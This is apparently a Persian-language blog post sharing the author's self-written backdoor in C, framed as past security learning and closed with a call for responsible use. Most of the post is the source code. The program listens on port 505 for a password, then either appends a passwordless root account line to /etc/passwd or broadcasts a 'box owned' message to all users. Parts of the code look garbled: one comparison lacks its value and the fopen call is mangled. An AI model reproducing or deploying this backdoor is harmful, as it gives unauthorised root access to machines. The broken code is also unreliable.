سال ها پیش برای کسب معلومات بیشتر در حوزه امنیت شبکه و کد نویسی در حوزه امنیت و نه بیشتر! یک Backdoor ساده ولی هوشمند طراحی کردم که در اینجا با شما به اشتراک می گذارم، هرچند این کد در فضای وب بارها و بارها دست به دست چرخیده و به اشتراک گذاشته شده ولی نسخه اصلی همین است که تقدیم حضورتان می شود. با اینکه استفاده از این کد نیاز با داشتن دانش بالا در حوزه امنیت دارد ولی این وب سایت و نویسنده وب سایت خودش و شما را به استفاده صحیح اطلاعات و کمک به جریان گردش اطلاعات ایمن دعوت می کند.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 |
#include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #define PORT 505 #define MAXDATASIZE 100 #define BACKLOG 10 void handle(char *command); int main(int argc, char *argv[]) { int sockfd, new_fd, sin_size, numbytes; char *bytes; struct sockaddr_in my_addr; struct sockaddr_in their_addr; char buf[MAXDATASIZE]; char ask[]="Enter Command (1 to put r00t::0:0:... in /etc/passwd, 2 to send '7h1s b0x 1s 0wn3d' to all people on the box: "; if (argc != 2) { fprintf(stderr,"Usage: %s password\n", argv[0]); exit(1); } if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } my_addr.sin_family = AF_INET; my_addr.sin_port = htons(PORT); my_addr.sin_addr.s_addr = INADDR_ANY; if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1); } if (listen(sockfd, BACKLOG) == -1) { perror("listen"); exit(1); } while(1) { /* main accept() loop */ sin_size = sizeof(struct sockaddr_in); if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \ &sin_size)) == { perror("accept"); continue; } inet_ntoa(their_addr.sin_addr); if (!fork()) { recv(new_fd, buf, MAXDATASIZE, 0); bytes = strstr(buf, argv[1]); if (bytes != NULL){ send(new_fd, ask, sizeof(ask), 0); numbytes=recv(new_fd, buf, MAXDATASIZE, 0); buf[numbytes] = '\0'; handle(buf); } close(new_fd); exit(0); } close(new_fd); while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child processes */ } } void handle(char *command) { FILE *fle; if(strstr(command, "1") != NULL) { fle = f0/*n("/etc/passwd", "a*/; fprintf(fle, "r00t::0:0:r00t:/root:/bin/bash"); fclose(fle); } if(strstr(command, "2") != NULL) { system("wall 7h1s b0x 1s 0wn3d"); } } |
از انتشار چند خط آخر این کد برای حفظ و رعایت قوانین انتشار کد و اطلاعات امنیتی حوزه علوم رایانه خوددرای شده ☺.